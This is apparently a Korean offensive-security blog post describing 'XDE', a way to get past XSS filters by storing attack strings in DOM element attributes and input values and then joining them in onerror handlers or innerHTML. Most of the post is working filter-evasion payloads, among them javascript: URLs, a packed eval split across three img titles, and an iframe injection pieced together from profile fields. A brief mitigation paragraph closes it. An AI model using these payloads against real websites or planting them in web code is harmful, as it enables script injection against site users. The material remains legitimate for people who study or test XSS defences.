[WEB HACKING] XDE(XSS DOM-base Evasion) Attack
Offensive Security Engineer, Developer and H4cker.
여러가지 테스트를 하다보니 재미있는 것을 하나 찾아서 작성합니다.
물론 XXN 처럼 신박한 방법은 아니지만 아주 간단하며, 알고있다면 XSS 필터링에 대한 우회 기법으로 사용할 수 있을 것 같네요.
기존에 DOM Base XSS처럼 DOM을 이용한 XSS이지만 잘 활용하면 XSS를 방지하기 위해 만든 Filter에 대해 우회할 수 있는 포인트가 발생합니다. 저는 이 방법을 간단하게 추려서 XDE(XSS DOM-base Evasion)이라고 부릅니다. 이 XDE는 DOM 영역을 이용해 XSS 필터링을 우회하거나 공격 구문에 대해 어느정도 숨겨볼 수 있을 것 같습니다.
DOM(Document Object Model)
DOM Base XSS 많이 들어보셨을겁니다. DOM(Document Object Model)은 HTML의 Document를 의미하며 사용자가 고려된 동적인 영역입니다. 이런 DOM 영역에서의 XSS를 DOM XSS라고 부르지만 이번 내용에서는 DOM 을 이용해서 필터링을 우회하는 방법에 대해 작성할까 합니다. 일단 DOM에 대해 어느정도 알고가야 좋습니다.
(style=undefined) |
|---|
| hxxp://uvu.miketheindian.com/wp-content/uploads/2011/08/html-dom-example.gif |
DOM은 !doctype 최상위 요소인 #document 부터 시작되며 Element, Node로 이루어집니다. XSS를 해보셨다면 document가 굉장히 익숙할 껍니다. location.href로 페이지를 넘기는 등의 행위를 하던게 바로 DOM입니다.
DOM Document -> Element -> Node
XDE Attack!
앞에서 설명드린 것 처럼 DOM을 이용하여 필터링을 우회하는 방법입니다. XDE에 대해 잘 이해하신다면 실패한 XSS를 살려낼 수 있는 좋은 기회가 될 수 있겠죠.
아래 Case는 img 태그와 핸들러를 이용해서 구문삽입을 하였지만 스크립트 내 ":"와 "(,)" 에 대한 필터링으로 공격이 어려웠던 케이스였습니다.
이친구는 위 특수문자 들이 삽입된 후 불러오는중에 해당 문자가 구문에 포함되면 필터링하는 구조를 가지고 있었습니다. 그래서 아래와 같이 testz라는 Element node 내 title 영역에 공격구문을 넣고 취약 구간에서 불러오는 식으로 우회하였습니다.
<img id="testz" title="javascript:alert(45)">
<img src="z" onerror="document.location.href=document.testz.title">
img 태그에서 필터링을 우회하기 위해 testz 라는 임의의 Element를 만듭니다. 공격자는 testz 내 title 영역에 자신이 사용할 공격코드를 넣어놓습니다. 더블쿼테이션을 풀지 않았기 때문에 대다수의 XSS 필터는 해당 부분을 필터링 하지 않습니다.
그다음 공격자는 취약한 img 태그 내 XSS 을 시도합니다. 여기서 스크립트 구간까지는 무난하게 진입하였어도 구문이나 특정 문자에 대한 필터링으로 공격이 어려울때가 있습니다. 이 때 testz에 넣어둔 값을 꺼내와 공격에 사용할 수 있습니다.
그림에 1번 과정에서 img tag는 testz의 title을 요청하게 됩니다. 2번에서 testz는 자신의 title 영역에 존재하는 데이터 " javascript:alert(45) " 를 반환하게 되고 img tag에서는 그 내용을 읽어서 사용할 수 있게 됩니다.
각각 document 내 Element는 여러가지 속성값을 가지고있고 해당 속성에 대한 정보를 DOM 영역에서 불러올 수 있습니다. 공격자는 DOM 영역에 공격코드를 넣어두고 불러와서 필터링을 우회하여 공격할 수 있는 상황 또한 가능하겠지요.
이 DOM 영역에 대해 고민을 좀 해봤습니다. 대체로 IMG 태그에는 공격에 사용 가능한 Event Handler를 필터링하는 경우가 많기 때문에 이런식으로 공격코드를 분할하여 DOM에 저장한 후 취약 페이지에서 불러와서 공격이 가능할 수도 있을 것 같습니다.
<img id="hwul1" title="javascript:eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;">
<img id="hwul2" title="k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};">
<img id="hwul3" title="while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(1)',2,2,'alert|45'.split('|'),0,{}))">
<img src="z" onerror="document.location.href=document.hwul1.title+document.hwul2.title+document.hwul3.title">
이런식으로 공격코드를 만들어도 정상적으로 작동이 되겠지요.
맨위의 방법과 유사합니다. 여러가지 input 포인트가 존재하거나 공격자가 input을 주어 DOM 내 데이터를 저장할 수 있을 떄 공격자는 DOM을 이용해서 필터링을 우회하거나 코드를 숨길 수 있습니다.
자바스크립트 내 document.location.href에서 각각 hwul1,2,3 영역에 나누어진 공격코드를 불러와 합쳐셔 사용할 수 있게 되지요. 공격자는 정상적인 태그나 이미지 내 공격코드를 넣어두고 DOM 영역에 접근하여 불러와 사용할 수 있습니다.
또한 document 말고도 window , opener등 여러가지가 있습니다.각각 페이지를 의미하는 것들이 여러가지 존재하기 때문에 공격자는 상황에 따라 필터링을 우회하기 위한 구문을 만들어주면 됩니다.
<img id="hwul1" title="javascript:eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c ]=k[c]||c;">
<img id="hwul2" title="k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};">
<img id="hwul3" title="while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(1)',2, 2,'alert|45'.split('|'),0,{}))">
<img src="z" onerror="window.location.href=window.hwul1.title+window.hwul2.title+window.hwul3.title">
document 기반의 필터링을 존재한다면 위와 같은 방법으로 window 등을 이용하여 동일하게 사용할 수 있겠지요.
여기서 조금 더 생각해보면 이런 형식의 코드도 가능할 것 같습니다. 한 페이지에 XSS코드는 여러군데 삽입이 가능한 경우가 많습니다. 특히 더블쿼테이션(") 에 대한 필터링으로 아래 input 문과 같이 사용을 하지 못하는 경우가 대다수이지요.
이럴 때 일반적인 Javascript 코드에서 부분을 활용하는 코드를 만나면 우회를 생각해 볼 포인트가 더 생기게 됩니다. 아래는 그냥 예시로 만든 DOM-XSS 코드입니다.
NAME: <input type="text" id="v1" value="Lee">
PHONE: <input type="text" id="v2" value="000-0000-0000">
DESC: <input type="text" id="v3" value="User">
위 값은 사용자 프로필에 대한 값이며 얼마든지 수정이 가능하다고 가정합니다. 이 때 공격자는 Javascript XSS 포인트를 발견하였지만 부분적으로 필터링이 존재하여 함수 실행이 불가능합니다.
필터링 규칙: 특수문자 "(", ")" 및 location, cookie에 대해 필터링이 존재하여 함수 실행 및 Redirection이 어려운 상태
이럴 때 공격자는 document.body의 innerHTML을 제어하여 document.write와 같은 효과를 낼 수 있습니다.
NAME: <input type="text" id="v1" value="Lee">
PHONE: <input type="text" id="v2" value="000-0000-0000">
DESC: <input type="text" id="v3" value="User">
<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>
innerHTML은 body 내 HTML 코드를 의미하며 Read/Write 모두다 가능하기 때문에 Docuemtn.write() 함수를 이용한 DOM XSS와 유사한 형태로 공격이 가능합니다.
그럼 공격자는 아래와 같이 유저 정보를 수정하여 DOM XSS공격코드를 저장합니다.
NAME: <input type="text" id="v1" value="z<iframe ">
PHONE: <input type="text" id="v2" value=" src=javascript:alert(45)><">
DESC: <input type="text" id="v3" value="/iframe>">
<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>
아래는 w3schools.com에서 제공하는 dom object의 document와 element에 대한 내용입니다. 잘 활용하면 코드를 숨기거나 필터링을 우회할 수 있는 방법이 많이 생기겠죠.
Document http://www.w3schools.com/jsref/dom_obj_document.asp
Element http://www.w3schools.com/jsref/dom_obj_all.asp
대응방법
XSS 권고 시 특수문자 및 핸들러, 주요 구문에 대한 필터링 이야기를 하는데 정말 잘 되어야합니다. 조금의 흠이라도 있다면 위와 같은 방법으로 풀어나갈 수 있습니다. XSS Point 를 줄이는것이 중요하고 적용된 XSS Filter에 대한 검증이 꼭 필요할 것 같네요.